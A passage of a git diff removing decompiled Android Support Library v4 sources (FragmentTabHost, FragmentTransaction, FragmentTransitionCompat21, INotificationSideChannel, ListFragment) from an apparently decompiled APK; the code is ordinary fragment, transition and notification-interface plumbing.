fragment.setMenuVisibility(true); - fragment.setUserVisibleHint(true); - } - this.mCurrentPrimaryItem = fragment; - } - } - - @Override // android.support.v4.view.PagerAdapter - public void finishUpdate(ViewGroup viewGroup) { - FragmentTransaction fragmentTransaction = this.mCurTransaction; - if (fragmentTransaction != null) { - fragmentTransaction.commitNowAllowingStateLoss(); - this.mCurTransaction = null; - } - } - - @Override // android.support.v4.view.PagerAdapter - public boolean isViewFromObject(View view, Object obj) { - return ((Fragment) obj).getView() == view; - } - - @Override // android.support.v4.view.PagerAdapter - public Parcelable saveState() { - Bundle bundle; - if (this.mSavedState.size() > 0) { - bundle = new Bundle(); - Fragment.SavedState[] savedStateArr = new Fragment.SavedState[this.mSavedState.size()]; - this.mSavedState.toArray(savedStateArr); - bundle.putParcelableArray("states", savedStateArr); - } else { - bundle = null; - } - for (int i = 0; i < this.mFragments.size(); i++) { - Fragment fragment = this.mFragments.get(i); - if (fragment != null && fragment.isAdded()) { - if (bundle == null) { - bundle = new Bundle(); - } - this.mFragmentManager.putFragment(bundle, "f" + i, fragment); - } - } - return bundle; - } - - @Override // android.support.v4.view.PagerAdapter - public void restoreState(Parcelable parcelable, ClassLoader classLoader) { - if (parcelable != null) { - Bundle bundle = (Bundle) parcelable; - bundle.setClassLoader(classLoader); - Parcelable[] parcelableArray = bundle.getParcelableArray("states"); - this.mSavedState.clear(); - this.mFragments.clear(); - if (parcelableArray != null) { - for (Parcelable parcelable2 : parcelableArray) { - this.mSavedState.add((Fragment.SavedState) parcelable2); - } - } - for (String str : bundle.keySet()) { - if (str.startsWith("f")) { - int parseInt = Integer.parseInt(str.substring(1)); - Fragment fragment = this.mFragmentManager.getFragment(bundle, str); - if (fragment != null) { - while (this.mFragments.size() <= parseInt) { - this.mFragments.add(null); - } - fragment.setMenuVisibility(false); - this.mFragments.set(parseInt, fragment); - } else { - Log.w(TAG, "Bad fragment at key " + str); - } - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTabHost.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTabHost.java deleted file mode 100644 index 8011f9d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTabHost.java +++ /dev/null @@ -1,286 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.content.res.TypedArray; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.util.AttributeSet; -import android.view.View; -import android.widget.FrameLayout; -import android.widget.LinearLayout; -import android.widget.TabHost; -import android.widget.TabWidget; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FragmentTabHost extends TabHost implements TabHost.OnTabChangeListener { - private boolean mAttached; - private int mContainerId; - private Context mContext; - private FragmentManager mFragmentManager; - private TabInfo mLastTab; - private TabHost.OnTabChangeListener mOnTabChangeListener; - private FrameLayout mRealTabContent; - private final ArrayList mTabs; - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class TabInfo { - final Bundle args; - final Class clss; - Fragment fragment; - final String tag; - - TabInfo(String str, Class cls, Bundle bundle) { - this.tag = str; - this.clss = cls; - this.args = bundle; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class DummyTabFactory implements TabHost.TabContentFactory { - private final Context mContext; - - public DummyTabFactory(Context context) { - this.mContext = context; - } - - @Override // android.widget.TabHost.TabContentFactory - public View createTabContent(String str) { - View view = new View(this.mContext); - view.setMinimumWidth(0); - view.setMinimumHeight(0); - return view; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SavedState extends View.BaseSavedState { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.app.FragmentTabHost.SavedState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public SavedState createFromParcel(Parcel parcel) { - return new SavedState(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public SavedState[] newArray(int i) { - return new SavedState[i]; - } - }; - String curTab; - - SavedState(Parcelable parcelable) { - super(parcelable); - } - - SavedState(Parcel parcel) { - super(parcel); - this.curTab = parcel.readString(); - } - - @Override // android.view.View.BaseSavedState, android.view.AbsSavedState, android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - super.writeToParcel(parcel, i); - parcel.writeString(this.curTab); - } - - public String toString() { - return "FragmentTabHost.SavedState{" + Integer.toHexString(System.identityHashCode(this)) + " curTab=" + this.curTab + "}"; - } - } - - public FragmentTabHost(Context context) { - super(context, null); - this.mTabs = new ArrayList<>(); - initFragmentTabHost(context, null); - } - - public FragmentTabHost(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.mTabs = new ArrayList<>(); - initFragmentTabHost(context, attributeSet); - } - - private void initFragmentTabHost(Context context, AttributeSet attributeSet) { - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, new int[]{16842995}, 0, 0); - this.mContainerId = obtainStyledAttributes.getResourceId(0, 0); - obtainStyledAttributes.recycle(); - super.setOnTabChangedListener(this); - } - - private void ensureHierarchy(Context context) { - if (findViewById(16908307) == null) { - LinearLayout linearLayout = new LinearLayout(context); - linearLayout.setOrientation(1); - addView(linearLayout, new FrameLayout.LayoutParams(-1, -1)); - TabWidget tabWidget = new TabWidget(context); - tabWidget.setId(16908307); - tabWidget.setOrientation(0); - linearLayout.addView(tabWidget, new LinearLayout.LayoutParams(-1, -2, 0.0f)); - FrameLayout frameLayout = new FrameLayout(context); - frameLayout.setId(16908305); - linearLayout.addView(frameLayout, new LinearLayout.LayoutParams(0, 0, 0.0f)); - FrameLayout frameLayout2 = new FrameLayout(context); - this.mRealTabContent = frameLayout2; - frameLayout2.setId(this.mContainerId); - linearLayout.addView(frameLayout2, new LinearLayout.LayoutParams(-1, 0, 1.0f)); - } - } - - @Override // android.widget.TabHost - @Deprecated - public void setup() { - throw new IllegalStateException("Must call setup() that takes a Context and FragmentManager"); - } - - public void setup(Context context, FragmentManager fragmentManager) { - ensureHierarchy(context); - super.setup(); - this.mContext = context; - this.mFragmentManager = fragmentManager; - ensureContent(); - } - - public void setup(Context context, FragmentManager fragmentManager, int i) { - ensureHierarchy(context); - super.setup(); - this.mContext = context; - this.mFragmentManager = fragmentManager; - this.mContainerId = i; - ensureContent(); - this.mRealTabContent.setId(i); - if (getId() == -1) { - setId(16908306); - } - } - - private void ensureContent() { - if (this.mRealTabContent == null) { - FrameLayout frameLayout = (FrameLayout) findViewById(this.mContainerId); - this.mRealTabContent = frameLayout; - if (frameLayout == null) { - throw new IllegalStateException("No tab content FrameLayout found for id " + this.mContainerId); - } - } - } - - @Override // android.widget.TabHost - public void setOnTabChangedListener(TabHost.OnTabChangeListener onTabChangeListener) { - this.mOnTabChangeListener = onTabChangeListener; - } - - public void addTab(TabHost.TabSpec tabSpec, Class cls, Bundle bundle) { - tabSpec.setContent(new DummyTabFactory(this.mContext)); - String tag = tabSpec.getTag(); - TabInfo tabInfo = new TabInfo(tag, cls, bundle); - if (this.mAttached) { - tabInfo.fragment = this.mFragmentManager.findFragmentByTag(tag); - if (tabInfo.fragment != null && !tabInfo.fragment.isDetached()) { - FragmentTransaction beginTransaction = this.mFragmentManager.beginTransaction(); - beginTransaction.detach(tabInfo.fragment); - beginTransaction.commit(); - } - } - this.mTabs.add(tabInfo); - addTab(tabSpec); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onAttachedToWindow() { - super.onAttachedToWindow(); - String currentTabTag = getCurrentTabTag(); - FragmentTransaction fragmentTransaction = null; - for (int i = 0; i < this.mTabs.size(); i++) { - TabInfo tabInfo = this.mTabs.get(i); - tabInfo.fragment = this.mFragmentManager.findFragmentByTag(tabInfo.tag); - if (tabInfo.fragment != null && !tabInfo.fragment.isDetached()) { - if (tabInfo.tag.equals(currentTabTag)) { - this.mLastTab = tabInfo; - } else { - if (fragmentTransaction == null) { - fragmentTransaction = this.mFragmentManager.beginTransaction(); - } - fragmentTransaction.detach(tabInfo.fragment); - } - } - } - this.mAttached = true; - FragmentTransaction doTabChanged = doTabChanged(currentTabTag, fragmentTransaction); - if (doTabChanged != null) { - doTabChanged.commit(); - this.mFragmentManager.executePendingTransactions(); - } - } - - @Override // android.view.ViewGroup, android.view.View - protected void onDetachedFromWindow() { - super.onDetachedFromWindow(); - this.mAttached = false; - } - - @Override // android.view.View - protected Parcelable onSaveInstanceState() { - SavedState savedState = new SavedState(super.onSaveInstanceState()); - savedState.curTab = getCurrentTabTag(); - return savedState; - } - - @Override // android.view.View - protected void onRestoreInstanceState(Parcelable parcelable) { - if (!(parcelable instanceof SavedState)) { - super.onRestoreInstanceState(parcelable); - return; - } - SavedState savedState = (SavedState) parcelable; - super.onRestoreInstanceState(savedState.getSuperState()); - setCurrentTabByTag(savedState.curTab); - } - - @Override // android.widget.TabHost.OnTabChangeListener - public void onTabChanged(String str) { - FragmentTransaction doTabChanged; - if (this.mAttached && (doTabChanged = doTabChanged(str, null)) != null) { - doTabChanged.commit(); - } - TabHost.OnTabChangeListener onTabChangeListener = this.mOnTabChangeListener; - if (onTabChangeListener != null) { - onTabChangeListener.onTabChanged(str); - } - } - - private FragmentTransaction doTabChanged(String str, FragmentTransaction fragmentTransaction) { - TabInfo tabInfo = null; - for (int i = 0; i < this.mTabs.size(); i++) { - TabInfo tabInfo2 = this.mTabs.get(i); - if (tabInfo2.tag.equals(str)) { - tabInfo = tabInfo2; - } - } - if (tabInfo == null) { - throw new IllegalStateException("No tab known for tag " + str); - } - if (this.mLastTab != tabInfo) { - if (fragmentTransaction == null) { - fragmentTransaction = this.mFragmentManager.beginTransaction(); - } - TabInfo tabInfo3 = this.mLastTab; - if (tabInfo3 != null && tabInfo3.fragment != null) { - fragmentTransaction.detach(this.mLastTab.fragment); - } - if (tabInfo != null) { - if (tabInfo.fragment == null) { - tabInfo.fragment = Fragment.instantiate(this.mContext, tabInfo.clss.getName(), tabInfo.args); - fragmentTransaction.add(this.mContainerId, tabInfo.fragment, tabInfo.tag); - } else { - fragmentTransaction.attach(tabInfo.fragment); - } - } - this.mLastTab = tabInfo; - } - return fragmentTransaction; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTransaction.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTransaction.java deleted file mode 100644 index 9895c6b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTransaction.java +++ /dev/null @@ -1,67 +0,0 @@ -package android.support.v4.app; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class FragmentTransaction { - public static final int TRANSIT_ENTER_MASK = 4096; - public static final int TRANSIT_EXIT_MASK = 8192; - public static final int TRANSIT_FRAGMENT_CLOSE = 8194; - public static final int TRANSIT_FRAGMENT_FADE = 4099; - public static final int TRANSIT_FRAGMENT_OPEN = 4097; - public static final int TRANSIT_NONE = 0; - public static final int TRANSIT_UNSET = -1; - - public abstract FragmentTransaction add(int i, Fragment fragment); - - public abstract FragmentTransaction add(int i, Fragment fragment, String str); - - public abstract FragmentTransaction add(Fragment fragment, String str); - - public abstract FragmentTransaction addSharedElement(View view, String str); - - public abstract FragmentTransaction addToBackStack(String str); - - public abstract FragmentTransaction attach(Fragment fragment); - - public abstract int commit(); - - public abstract int commitAllowingStateLoss(); - - public abstract void commitNow(); - - public abstract void commitNowAllowingStateLoss(); - - public abstract FragmentTransaction detach(Fragment fragment); - - public abstract FragmentTransaction disallowAddToBackStack(); - - public abstract FragmentTransaction hide(Fragment fragment); - - public abstract boolean isAddToBackStackAllowed(); - - public abstract boolean isEmpty(); - - public abstract FragmentTransaction remove(Fragment fragment); - - public abstract FragmentTransaction replace(int i, Fragment fragment); - - public abstract FragmentTransaction replace(int i, Fragment fragment, String str); - - public abstract FragmentTransaction setBreadCrumbShortTitle(int i); - - public abstract FragmentTransaction setBreadCrumbShortTitle(CharSequence charSequence); - - public abstract FragmentTransaction setBreadCrumbTitle(int i); - - public abstract FragmentTransaction setBreadCrumbTitle(CharSequence charSequence); - - public abstract FragmentTransaction setCustomAnimations(int i, int i2); - - public abstract FragmentTransaction setCustomAnimations(int i, int i2, int i3, int i4); - - public abstract FragmentTransaction setTransition(int i); - - public abstract FragmentTransaction setTransitionStyle(int i); - - public abstract FragmentTransaction show(Fragment fragment); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTransitionCompat21.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTransitionCompat21.java deleted file mode 100644 index 846e5b7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentTransitionCompat21.java +++ /dev/null @@ -1,371 +0,0 @@ -package android.support.v4.app; - -import android.graphics.Rect; -import android.transition.Transition; -import android.transition.TransitionManager; -import android.transition.TransitionSet; -import android.view.View; -import android.view.ViewGroup; -import android.view.ViewTreeObserver; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class FragmentTransitionCompat21 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class EpicenterView { - public View epicenter; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ViewRetriever { - View getView(); - } - - FragmentTransitionCompat21() { - } - - public static String getTransitionName(View view) { - return view.getTransitionName(); - } - - public static Object cloneTransition(Object obj) { - return obj != null ? ((Transition) obj).clone() : obj; - } - - public static Object captureExitingViews(Object obj, View view, ArrayList arrayList, Map map, View view2) { - if (obj != null) { - captureTransitioningViews(arrayList, view); - if (map != null) { - arrayList.removeAll(map.values()); - } - if (arrayList.isEmpty()) { - return null; - } - arrayList.add(view2); - addTargets((Transition) obj, arrayList); - return obj; - } - return obj; - } - - public static void excludeTarget(Object obj, View view, boolean z) { - ((Transition) obj).excludeTarget(view, z); - } - - public static void beginDelayedTransition(ViewGroup viewGroup, Object obj) { - TransitionManager.beginDelayedTransition(viewGroup, (Transition) obj); - } - - public static void setEpicenter(Object obj, View view) { - final Rect boundsOnScreen = getBoundsOnScreen(view); - ((Transition) obj).setEpicenterCallback(new Transition.EpicenterCallback() { // from class: android.support.v4.app.FragmentTransitionCompat21.1 - @Override // android.transition.Transition.EpicenterCallback - public Rect onGetEpicenter(Transition transition) { - return boundsOnScreen; - } - }); - } - - public static Object wrapSharedElementTransition(Object obj) { - Transition transition; - if (obj == null || (transition = (Transition) obj) == null) { - return null; - } - TransitionSet transitionSet = new TransitionSet(); - transitionSet.addTransition(transition); - return transitionSet; - } - - /* JADX INFO: Access modifiers changed from: private */ - public static void excludeViews(Transition transition, Transition transition2, ArrayList arrayList, boolean z) { - if (transition != null) { - int size = transition2 == null ? 0 : arrayList.size(); - for (int i = 0; i < size; i++) { - transition.excludeTarget(arrayList.get(i), z); - } - } - } - - public static void excludeSharedElementViews(Object obj, Object obj2, Object obj3, ArrayList arrayList, boolean z) { - Transition transition = (Transition) obj3; - excludeViews((Transition) obj, transition, arrayList, z); - excludeViews((Transition) obj2, transition, arrayList, z); - } - - public static void addTransitionTargets(Object obj, Object obj2, Object obj3, final View view, final ViewRetriever viewRetriever, final View view2, EpicenterView epicenterView, final Map map, final ArrayList arrayList, ArrayList arrayList2, Map map2, final Map map3, ArrayList arrayList3) { - final Transition transition = (Transition) obj; - final Transition transition2 = (Transition) obj3; - Transition transition3 = (Transition) obj2; - excludeViews(transition, transition2, arrayList2, true); - if (obj == null && obj2 == null) { - return; - } - if (transition != null) { - transition.addTarget(view2); - } - if (obj2 != null) { - setSharedElementTargets(transition3, view2, map2, arrayList3); - excludeViews(transition, transition3, arrayList3, true); - excludeViews(transition2, transition3, arrayList3, true); - } - view.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { // from class: android.support.v4.app.FragmentTransitionCompat21.2 - @Override // android.view.ViewTreeObserver.OnPreDrawListener - public boolean onPreDraw() { - View view3; - view.getViewTreeObserver().removeOnPreDrawListener(this); - Transition transition4 = transition; - if (transition4 != null) { - transition4.removeTarget(view2); - } - ViewRetriever viewRetriever2 = viewRetriever; - if (viewRetriever2 != null && (view3 = viewRetriever2.getView()) != null) { - if (!map.isEmpty()) { - FragmentTransitionCompat21.findNamedViews(map3, view3); - map3.keySet().retainAll(map.values()); - for (Map.Entry entry : map.entrySet()) { - View view4 = (View) map3.get((String) entry.getValue()); - if (view4 != null) { - view4.setTransitionName((String) entry.getKey()); - } - } - } - if (transition != null) { - FragmentTransitionCompat21.captureTransitioningViews(arrayList, view3); - arrayList.removeAll(map3.values()); - arrayList.add(view2); - FragmentTransitionCompat21.addTargets(transition, arrayList); - } - } - FragmentTransitionCompat21.excludeViews(transition2, transition, arrayList, true); - return true; - } - }); - setSharedElementEpicenter(transition, epicenterView); - } - - public static Object mergeTransitions(Object obj, Object obj2, Object obj3, boolean z) { - Transition transition = (Transition) obj; - Transition transition2 = (Transition) obj2; - Transition transition3 = (Transition) obj3; - if (transition == null || transition2 == null || z) { - TransitionSet transitionSet = new TransitionSet(); - if (transition != null) { - transitionSet.addTransition(transition); - } - if (transition2 != null) { - transitionSet.addTransition(transition2); - } - if (transition3 != null) { - transitionSet.addTransition(transition3); - } - return transitionSet; - } - if (transition2 != null && transition != null) { - transition = new TransitionSet().addTransition(transition2).addTransition(transition).setOrdering(1); - } else if (transition2 != null) { - transition = transition2; - } else if (transition == null) { - transition = null; - } - if (transition3 != null) { - TransitionSet transitionSet2 = new TransitionSet(); - if (transition != null) { - transitionSet2.addTransition(transition); - } - transitionSet2.addTransition(transition3); - return transitionSet2; - } - return transition; - } - - public static void setSharedElementTargets(Object obj, View view, Map map, ArrayList arrayList) { - TransitionSet transitionSet = (TransitionSet) obj; - arrayList.clear(); - arrayList.addAll(map.values()); - List targets = transitionSet.getTargets(); - targets.clear(); - int size = arrayList.size(); - for (int i = 0; i < size; i++) { - bfsAddViewChildren(targets, arrayList.get(i)); - } - arrayList.add(view); - addTargets(transitionSet, arrayList); - } - - private static void bfsAddViewChildren(List list, View view) { - int size = list.size(); - if (containedBeforeIndex(list, view, size)) { - return; - } - list.add(view); - for (int i = size; i < list.size(); i++) { - View view2 = list.get(i); - if (view2 instanceof ViewGroup) { - ViewGroup viewGroup = (ViewGroup) view2; - int childCount = viewGroup.getChildCount(); - for (int i2 = 0; i2 < childCount; i2++) { - View childAt = viewGroup.getChildAt(i2); - if (!containedBeforeIndex(list, childAt, size)) { - list.add(childAt); - } - } - } - } - } - - private static boolean containedBeforeIndex(List list, View view, int i) { - for (int i2 = 0; i2 < i; i2++) { - if (list.get(i2) == view) { - return true; - } - } - return false; - } - - private static void setSharedElementEpicenter(Transition transition, final EpicenterView epicenterView) { - if (transition != null) { - transition.setEpicenterCallback(new Transition.EpicenterCallback() { // from class: android.support.v4.app.FragmentTransitionCompat21.3 - private Rect mEpicenter; - - @Override // android.transition.Transition.EpicenterCallback - public Rect onGetEpicenter(Transition transition2) { - if (this.mEpicenter == null && EpicenterView.this.epicenter != null) { - this.mEpicenter = FragmentTransitionCompat21.getBoundsOnScreen(EpicenterView.this.epicenter); - } - return this.mEpicenter; - } - }); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public static Rect getBoundsOnScreen(View view) { - Rect rect = new Rect(); - int[] iArr = new int[2]; - view.getLocationOnScreen(iArr); - int i = iArr[0]; - rect.set(i, iArr[1], view.getWidth() + i, iArr[1] + view.getHeight()); - return rect; - } - - /* JADX INFO: Access modifiers changed from: private */ - public static void captureTransitioningViews(ArrayList arrayList, View view) { - if (view.getVisibility() == 0) { - if (view instanceof ViewGroup) { - ViewGroup viewGroup = (ViewGroup) view; - if (viewGroup.isTransitionGroup()) { - arrayList.add(viewGroup); - return; - } - int childCount = viewGroup.getChildCount(); - for (int i = 0; i < childCount; i++) { - captureTransitioningViews(arrayList, viewGroup.getChildAt(i)); - } - return; - } - arrayList.add(view); - } - } - - public static void findNamedViews(Map map, View view) { - if (view.getVisibility() == 0) { - String transitionName = view.getTransitionName(); - if (transitionName != null) { - map.put(transitionName, view); - } - if (view instanceof ViewGroup) { - ViewGroup viewGroup = (ViewGroup) view; - int childCount = viewGroup.getChildCount(); - for (int i = 0; i < childCount; i++) { - findNamedViews(map, viewGroup.getChildAt(i)); - } - } - } - } - - public static void cleanupTransitions(final View view, final View view2, Object obj, final ArrayList arrayList, Object obj2, final ArrayList arrayList2, Object obj3, final ArrayList arrayList3, Object obj4, final ArrayList arrayList4, final Map map) { - final Transition transition = (Transition) obj; - final Transition transition2 = (Transition) obj2; - final Transition transition3 = (Transition) obj3; - final Transition transition4 = (Transition) obj4; - if (transition4 != null) { - view.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { // from class: android.support.v4.app.FragmentTransitionCompat21.4 - @Override // android.view.ViewTreeObserver.OnPreDrawListener - public boolean onPreDraw() { - view.getViewTreeObserver().removeOnPreDrawListener(this); - Transition transition5 = transition; - if (transition5 != null) { - FragmentTransitionCompat21.removeTargets(transition5, arrayList); - FragmentTransitionCompat21.excludeViews(transition, transition2, arrayList2, false); - FragmentTransitionCompat21.excludeViews(transition, transition3, arrayList3, false); - } - Transition transition6 = transition2; - if (transition6 != null) { - FragmentTransitionCompat21.removeTargets(transition6, arrayList2); - FragmentTransitionCompat21.excludeViews(transition2, transition, arrayList, false); - FragmentTransitionCompat21.excludeViews(transition2, transition3, arrayList3, false); - } - Transition transition7 = transition3; - if (transition7 != null) { - FragmentTransitionCompat21.removeTargets(transition7, arrayList3); - } - for (Map.Entry entry : map.entrySet()) { - ((View) entry.getValue()).setTransitionName((String) entry.getKey()); - } - int size = arrayList4.size(); - for (int i = 0; i < size; i++) { - transition4.excludeTarget((View) arrayList4.get(i), false); - } - transition4.excludeTarget(view2, false); - return true; - } - }); - } - } - - public static void removeTargets(Object obj, ArrayList arrayList) { - List targets; - Transition transition = (Transition) obj; - if (transition instanceof TransitionSet) { - TransitionSet transitionSet = (TransitionSet) transition; - int transitionCount = transitionSet.getTransitionCount(); - for (int i = 0; i < transitionCount; i++) { - removeTargets(transitionSet.getTransitionAt(i), arrayList); - } - } else if (!hasSimpleTarget(transition) && (targets = transition.getTargets()) != null && targets.size() == arrayList.size() && targets.containsAll(arrayList)) { - for (int size = arrayList.size() - 1; size >= 0; size--) { - transition.removeTarget(arrayList.get(size)); - } - } - } - - public static void addTargets(Object obj, ArrayList arrayList) { - Transition transition = (Transition) obj; - int i = 0; - if (transition instanceof TransitionSet) { - TransitionSet transitionSet = (TransitionSet) transition; - int transitionCount = transitionSet.getTransitionCount(); - while (i < transitionCount) { - addTargets(transitionSet.getTransitionAt(i), arrayList); - i++; - } - } else if (hasSimpleTarget(transition) || !isNullOrEmpty(transition.getTargets())) { - } else { - int size = arrayList.size(); - while (i < size) { - transition.addTarget(arrayList.get(i)); - i++; - } - } - } - - private static boolean hasSimpleTarget(Transition transition) { - return (isNullOrEmpty(transition.getTargetIds()) && isNullOrEmpty(transition.getTargetNames()) && isNullOrEmpty(transition.getTargetTypes())) ? false : true; - } - - private static boolean isNullOrEmpty(List list) { - return list == null || list.isEmpty(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/INotificationSideChannel.java b/apk_3230/decompiled_source/sources/android/support/v4/app/INotificationSideChannel.java deleted file mode 100644 index ffdc3da..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/INotificationSideChannel.java +++ /dev/null @@ -1,130 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.os.Binder; -import android.os.IBinder; -import android.os.IInterface; -import android.os.Parcel; -import android.os.RemoteException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface INotificationSideChannel extends IInterface { - void cancel(String str, int i, String str2) throws RemoteException; - - void cancelAll(String str) throws RemoteException; - - void notify(String str, int i, String str2, Notification notification) throws RemoteException; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Stub extends Binder implements INotificationSideChannel { - private static final String DESCRIPTOR = "android.support.v4.app.INotificationSideChannel"; - static final int TRANSACTION_cancel = 2; - static final int TRANSACTION_cancelAll = 3; - static final int TRANSACTION_notify = 1; - - @Override // android.os.IInterface - public IBinder asBinder() { - return this; - } - - public Stub() { - attachInterface(this, DESCRIPTOR); - } - - public static INotificationSideChannel asInterface(IBinder iBinder) { - if (iBinder == null) { - return null; - } - IInterface queryLocalInterface = iBinder.queryLocalInterface(DESCRIPTOR); - if (queryLocalInterface != null && (queryLocalInterface instanceof INotificationSideChannel)) { - return (INotificationSideChannel) queryLocalInterface; - } - return new Proxy(iBinder); - } - - @Override // android.os.Binder - public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException { - if (i == 1) { - parcel.enforceInterface(DESCRIPTOR); - notify(parcel.readString(), parcel.readInt(), parcel.readString(), parcel.readInt() != 0 ? (Notification) Notification.CREATOR.createFromParcel(parcel) : null); - return true; - } else if (i == 2) { - parcel.enforceInterface(DESCRIPTOR); - cancel(parcel.readString(), parcel.readInt(), parcel.readString()); - return true; - } else if (i == 3) { - parcel.enforceInterface(DESCRIPTOR); - cancelAll(parcel.readString()); - return true; - } else if (i == 1598968902) { - parcel2.writeString(DESCRIPTOR); - return true; - } else { - return super.onTransact(i, parcel, parcel2, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class Proxy implements INotificationSideChannel { - private IBinder mRemote; - - Proxy(IBinder iBinder) { - this.mRemote = iBinder; - } - - @Override // android.os.IInterface - public IBinder asBinder() { - return this.mRemote; - } - - public String getInterfaceDescriptor() { - return Stub.DESCRIPTOR; - } - - @Override // android.support.v4.app.INotificationSideChannel - public void notify(String str, int i, String str2, Notification notification) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - obtain.writeInt(i); - obtain.writeString(str2); - if (notification != null) { - obtain.writeInt(1); - notification.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(1, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.app.INotificationSideChannel - public void cancel(String str, int i, String str2) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - obtain.writeInt(i); - obtain.writeString(str2); - this.mRemote.transact(2, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.app.INotificationSideChannel - public void cancelAll(String str) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - this.mRemote.transact(3, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ListFragment.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ListFragment.java deleted file mode 100644 index 1a7f05f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ListFragment.java +++ /dev/null @@ -1,233 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.os.Bundle; -import android.os.Handler; -import android.view.LayoutInflater; -import android.view.View; -import android.view.ViewGroup; -import android.view.animation.AnimationUtils; -import android.widget.AdapterView; -import android.widget.FrameLayout; -import android.widget.LinearLayout; -import android.widget.ListAdapter; -import android.widget.ListView; -import android.widget.ProgressBar; -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ListFragment extends Fragment { - static final int INTERNAL_EMPTY_ID = 16711681; - static final int INTERNAL_LIST_CONTAINER_ID = 16711683; - static final int INTERNAL_PROGRESS_CONTAINER_ID = 16711682; - ListAdapter mAdapter; - CharSequence mEmptyText; - View mEmptyView; - ListView mList; - View mListContainer; - boolean mListShown; - View mProgressContainer; - TextView mStandardEmptyView; - private final Handler mHandler = new Handler(); - private final Runnable mRequestFocus = new Runnable() { // from class: android.support.v4.app.ListFragment.1 - @Override // java.lang.Runnable - public void run() { - ListFragment.this.mList.focusableViewAvailable(ListFragment.this.mList); - } - }; - private final AdapterView.OnItemClickListener mOnClickListener = new AdapterView.OnItemClickListener() { // from class: android.support.v4.app.ListFragment.2 - @Override // android.widget.AdapterView.OnItemClickListener - public void onItemClick(AdapterView adapterView, View view, int i, long j) { - ListFragment.this.onListItemClick((ListView) adapterView, view, i, j); - } - }; - - public void onListItemClick(ListView listView, View view, int i, long j) { - } - - @Override // android.support.v4.app.Fragment - public View onCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) { - Context context = getContext(); - FrameLayout frameLayout = new FrameLayout(context); - LinearLayout linearLayout = new LinearLayout(context); - linearLayout.setId(INTERNAL_PROGRESS_CONTAINER_ID); - linearLayout.setOrientation(1); - linearLayout.setVisibility(8); - linearLayout.setGravity(17); - linearLayout.addView(new ProgressBar(context, null, 16842874), new FrameLayout.LayoutParams(-2, -2)); - frameLayout.addView(linearLayout, new FrameLayout.LayoutParams(-1, -1)); - FrameLayout frameLayout2 = new FrameLayout(context); - frameLayout2.setId(INTERNAL_LIST_CONTAINER_ID); - TextView textView = new TextView(context); - textView.setId(INTERNAL_EMPTY_ID); - textView.setGravity(17); - frameLayout2.addView(textView, new FrameLayout.LayoutParams(-1, -1)); - ListView listView = new ListView(context); - listView.setId(16908298); - listView.setDrawSelectorOnTop(false); - frameLayout2.addView(listView, new FrameLayout.LayoutParams(-1, -1)); - frameLayout.addView(frameLayout2, new FrameLayout.LayoutParams(-1, -1)); - frameLayout.setLayoutParams(new FrameLayout.LayoutParams(-1, -1)); - return frameLayout; - } - - @Override // android.support.v4.app.Fragment 